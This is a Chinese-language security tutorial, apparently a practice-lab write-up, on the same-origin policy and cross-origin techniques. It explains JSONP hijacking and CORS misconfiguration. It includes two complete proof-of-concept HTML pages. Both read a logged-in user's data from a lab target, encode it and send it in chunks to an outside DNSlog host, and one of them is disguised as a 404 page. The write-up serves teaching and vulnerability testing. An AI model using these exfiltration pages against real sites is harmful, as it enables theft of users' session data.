来由
子资源
子资源是一个嵌入到HTML文档中的元素
子资源可以在网页加载后由浏览器再次请求获取相应资源,因为它们都可以发起网络请求。
如<link>、<form>、<iframe>、<audio>、<img>、<video>、<script>、<frame>
域(origins)和跨域
既然要访问获取资源、就要牵扯到域这样一个概念:
域是由三部分组成的标识:协议、完整的主机名和端口
例如 [ http:// ] [www.jyh520.com] : [8080]
三者中有一个不同则不在同一个域
跨域请求是指例如:我们访问
1、Example Domain 时,同时访问另一个域的子资源
2、http://example.com/posts/animal.png
在浏览器中是不允许的(同源策略)
为什么?
防止一些恶意网页利用这种不加限制的行为做非法请求
同源策略
阻止访问不同域的资源来防止跨域攻击
该策略仍然运行某些标签(比如<img>)嵌入不同源的资源。
即使没有同源策略明确的规范,现代浏览器都会以某种形式实现。互联网工程任务组(IETF)在RFC6454中制定了同源策略的相关规范。
Tags | Cross-origin | Note |
---|---|---|
<iframe> | 允许嵌入 | 取决于响应头X-Frame-Options |
<link> | 允许嵌入 | 可能需要正确的Content-Type |
<form> | 允许写入 | 经常用此标签进行跨域写操作 |
<img> | 允许嵌入 | 通过JS跨域读取并将其加载到<canvas>标签中 |
<audio>/<video> | 允许嵌入 | |
<script> | 允许嵌入 | 可能会被禁止访问特定的API(如下) |
不允许被跨域访问的资源:
-
本地存储
-
IndexedDB
-
Cookie
-
AJAX(XMLHttpRequest)
虽然同源策略解决了很多问题,但限制性很强。
在单页应用程序和流媒体网站时代,同源并没有放松和微调这些规则
比如说我的网站需要一个显示天气的功能,不得不用到其他人给我所提供的接口,亦或者是前后端分离涉及到的跨域。
那么问题来了:如何既解决了跨域问题又保证安全性呢??
解决方案
jsonp
JSONP(JSON with Padding)是一种用于跨域请求的技术,主要用于解决浏览器的同源策略限制。然而,这种技术也可能引发安全问题,比如JSONP劫持(JSONP Hijacking)。
- 跨域请求问题:同源策略限制了浏览器中JavaScript代码只能访问与其源相同的资源。JSONP通过动态创建
<script>
标签来绕过这个限制,因为脚本标签不受同源策略的限制。 - 工作原理:JSONP请求通过在请求URL中指定一个回调函数的名字,服务器会将数据包裹在这个回调函数中返回,客户端收到数据后会执行这个函数并处理数据。
jsonp劫持完整过程复核
jsonp劫持的过程其实和cors大同小异。
-
恶意网站准备:
- 定义并准备好回调函数,里面实现了你所需的恶意功能。
-
构建并部署PoC:
- 部署一个恶意网页,诱导目标用户点击。页面代码应动态生成一个
<script>
标签,发送JSONP请求到目标网站。
- 部署一个恶意网页,诱导目标用户点击。页面代码应动态生成一个
-
用户点击并执行:
- 当目标用户点击恶意网页时,JSONP请求被发出,目标网站返回的数据被恶意页面的回调函数处理,并通过DNS查询回显到Dnslog。
-
查看回显数据:
- 访问Dnslog管理界面,查看发送到Dnslog的分片数据,并将其重新拼接和解码,查看最终获取的敏感信息。
如果这些步骤你都确认无误,那么你的PoC应该能够成功利用JSONP劫持漏洞并将数据回显到Dnslog。
本人所用代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP Hijacking PoC with DNS Exfiltration</title>
</head>
<body>
<h1>JSONP Hijacking PoC with DNS Exfiltration</h1>
<script type="text/javascript">
// 窃取的数据通过DNS通道回显
function stealData(data) {
// 将数据发送到DNSlog服务
sendToDnslog(JSON.stringify(data));
}
// 动态创建script标签,发起JSONP请求
var script = document.createElement('script');
script.src = 'http://192.168.60.125:8896/csrf/jsonp.php?callback=stealData';
document.body.appendChild(script);
// Hex编码和分片函数
function hexEncode(str) {
let hex, i;
let result = "";
for (i = 0; i < str.length; i++) {
hex = str.charCodeAt(i).toString(16);
result += ("00" + hex).slice(-2); // 只保留最后两位,确保是8位Hex编码
}
return result;
}
function sendToDnslog(data) {
// 将数据Hex编码
let hexData = hexEncode(data);
// 定义分片大小和域名
const chunkSize = 40; // 每片20个字符
const dnslogDomain = 'v9z3pl.dnslog.cn'; // 替换为你的Dnslog域名
// 将数据分片并发送到DNSlog
for (let i = 0; i < hexData.length; i += chunkSize) {
let chunk = hexData.slice(i, i + chunkSize);
let index = Math.floor(i / chunkSize);
// 构建DNS查询,每个查询包括索引和数据片段
let dnsQuery = `${index}-${chunk}.${dnslogDomain}`;
// 通过<img>标签发送请求
let img = new Image();
img.src = `http://${dnsQuery}`;
}
}
</script>
</body>
</html>
反向代理
例如我可以在天气功能加入本地地址( /api/weather )
实际上我本地并没有这个地址,通过反向代理连接外部天气功能接口
但是客户端不知道,对于他来说是同一个域。
CORS
CORS(跨域资源共享),是一种基于HTTP头的机制
该机制允许我们使用AJAX发送跨域请求,只要HTTP响应头中包含了相应的CORS响应头。
CORS需要浏览器和服务器同时支持,CORS机制在老版本浏览器中不支持,现代浏览器都支持CORS。在使用CORS发送AJAX请求时浏览器端代码和过去一致,服务器端需要配置CORS的响应头。
postMessage
可以在 Web Worker / Service Worker 中实现与其他页面通信。
解决方案其中便有CORS配置不当漏洞、jsonp劫持漏洞
DoraBox靶场
访问
http://192.168.60.125:8896/csrf/userinfo.php
可以看到该目录文件是一个展示用户信息功能的脚本文件
使用BurpSuite抓包发现
请求方法为GET,我们改变请求包Origin头部字段时,哪怕是非法的,响应包也会给出允许的回复
所以存在CORS配置漏洞
接下来可以构建POC
<!DOCTYPE html>
<html>
<head>
<title>Error</title>
</head>
<body>
<h1>404</h1>
<h2>Page Not Found</h2>
<script>
//DNSlog域名
const dnslogSubdomain = '8el0yc.dnslog.cn';
var xhr = new XMLHttpRequest();
//GET方法 漏洞利用点
xhr.open('GET', 'http://192.168.60.125:8896/csrf/userinfo.php', true);
xhr.withCredentials = true; // 包含凭证(如 cookies)
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
console.log('Sensitive data:', xhr.responseText);
sendToDnslog(xhr.responseText);
} else {
console.error('Error fetching data:', xhr.statusText);
}
}
};
xhr.send();
function base64ToHex(str) {
const base64 = btoa(str);
let result = '';
for (let i = 0; i < base64.length; i++) {
result += base64.charCodeAt(i).toString(16).padStart(2, '0');
}
return result;
}
function sendToDnslog(data) {
const encodedData = base64ToHex(data);
const maxLen = 50; // 每段的最大长度
const separator = 'sep'; // 分隔符
let index = 0;
for (let i = 0; i < encodedData.length; i += maxLen) {
const subdomain = `idx${index}-${encodedData.substring(i, i + maxLen)}-${separator}`;
const img = new Image();
img.src = `http://${subdomain}.${dnslogSubdomain}`;
index++;
}
}
</script>
</body>
</html>
当用户点击改POC时我们可以通过DNSlog回显看到
其中由于返回信息可能有特殊字符不能出现在DNS解析中,我进行了base64编码
但是DNS解析有时存在大小写转换,我又进行了HEX编码
一条记录不能过长所以又分成了多片传输,为了方便还原我又加上了索引 idx 并以-sep标志结束
所以还原时按照索引拼接然后HEX解码然后base64解码即可
总结:通过抓包更改http头部字段判断存在漏洞
构建poc并通过Dnslog回显